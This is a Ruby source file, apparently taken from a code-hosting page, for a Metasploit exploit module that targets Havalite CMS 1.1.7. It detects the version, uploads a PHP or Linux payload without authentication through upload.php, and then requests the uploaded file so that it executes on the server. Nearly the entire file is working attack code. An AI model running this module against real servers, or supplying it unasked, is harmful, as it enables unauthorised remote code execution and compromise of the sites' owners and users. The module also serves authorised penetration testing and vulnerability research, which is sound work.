141 lines
3.7 KiB
Ruby
141 lines
3.7 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "Havalite CMS Arbitary File Upload Vulnerability",
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'Description' => %q{
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This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
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possibly prior. Attackers can abuse the upload feature in order to upload a
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malicious PHP file without authentication, which results in arbitary remote code
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execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'CWH',
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '94405'],
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['EDB', '26243']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'Platform' => ['linux', 'php'],
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jun 17 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
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], self.class)
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end
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def peer
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"#{rhost}:#{rport}"
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end
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#
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# Checks if target is running HavaLite CMS 1.1.7
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# We only flag 1.1.7 as vulnerable, because we don't have enough information from
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# the vendor or OSVDB about exactly which ones are really vulnerable.
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#
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def check
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uri = normalize_uri(target_uri.path, 'havalite/')
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res = send_request_raw({'uri' => uri})
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if not res
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print_error("#{peer} - Connection timed out")
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return Exploit::CheckCode::Unknown
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end
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js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
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version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''
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if not version.empty? and version =~ /1\.1\.7/
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print_status("#{peer} - Version found: #{version}")
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return Exploit::CheckCode::Vulnerable
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end
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Exploit::CheckCode::Unknown
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end
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#
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# Uploads our malicious file
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#
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def upload(base)
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p = get_write_exec_payload(:unlink_self=>true)
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fname = "#{rand_text_alpha(5)}.php"
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data = Rex::MIME::Message.new
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data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
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post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(base, 'havalite', 'upload.php'),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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})
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if not res
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fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
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elsif res.code.to_i == 404
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fail_with(Exploit::Failure::NotFound, "#{peer} - No upload.php found")
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elsif res.body =~ /"error"\:"abort"/
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fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to write #{fname}")
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end
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return fname
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end
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#
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# Executes our uploaded malicious file
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#
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def exec(base, payload_fname)
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res = send_request_raw({
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'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname)
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})
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if res and res.code == 404
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fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
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end
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end
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def exploit
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base = target_uri.path
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print_status("#{peer} - Uploading malicious file...")
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fname = upload(base)
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print_status("#{peer} - Executing #{fname}...")
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exec(base, fname)
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end
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end |